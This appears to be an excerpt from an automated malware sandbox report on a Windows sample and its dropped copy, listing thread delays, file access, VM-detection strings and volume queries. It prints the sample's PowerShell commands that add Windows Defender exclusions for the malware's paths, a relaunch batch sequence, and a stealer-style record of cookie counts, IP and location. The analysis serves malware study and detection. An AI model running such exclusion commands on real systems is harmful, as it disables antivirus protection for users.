Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584469
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584300
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 584114
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583964
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583766
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583578
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583406
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583266
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 583050
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582879
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582710
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582516
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 582156
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581977
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581828
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581685
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581500
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581325
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581184
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 581057
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580950
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580828
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580719
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580609
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580498
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580375
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580188
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 580059
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579934
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579735
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579474
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579235
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 579017
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578844
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578703
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578532
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578378
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578250
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578141
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 578031
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577922
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577813
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577693
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577577
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577453
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577344
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Thread delayed: delay time: 577233

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: lEwK4xROgV.exe, 00000000.00000002.1784074310.000000001BDA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r&Prod_VMware_SA
Source: svchost.exe, 00000013.00000002.2895294583.0000023385C2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.2897652179.000002338B258000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.3107325502.000000001B910000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllC

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe'
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe'	Jump to behavior

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Common Files\Adobe\HelpCfg\en_US\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\RuntimeBroker.exe'	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\eTXTKQnz3l.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe "C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe"

Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.000000000336B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Crypto Wallets (fff5)":"N","Crypto Extensions (fff5)":"N","Crypto Clients (fff5)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"206","Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Domains (e9db)":"","Passwords Domains (e9db)":""},"5.0.4",5,1,"","user","910646","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files (x86)\\windows portable devices","Z7T_D (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United States","New York / New York","40.7123 / -74.0068"]
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.000000000336B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: portable devices","Z7T_D (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United States","New York / New York","40.7123 / -74.0068"]
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.000000000336B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Queries volume information: C:\Users\user\Desktop\lEwK4xROgV.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
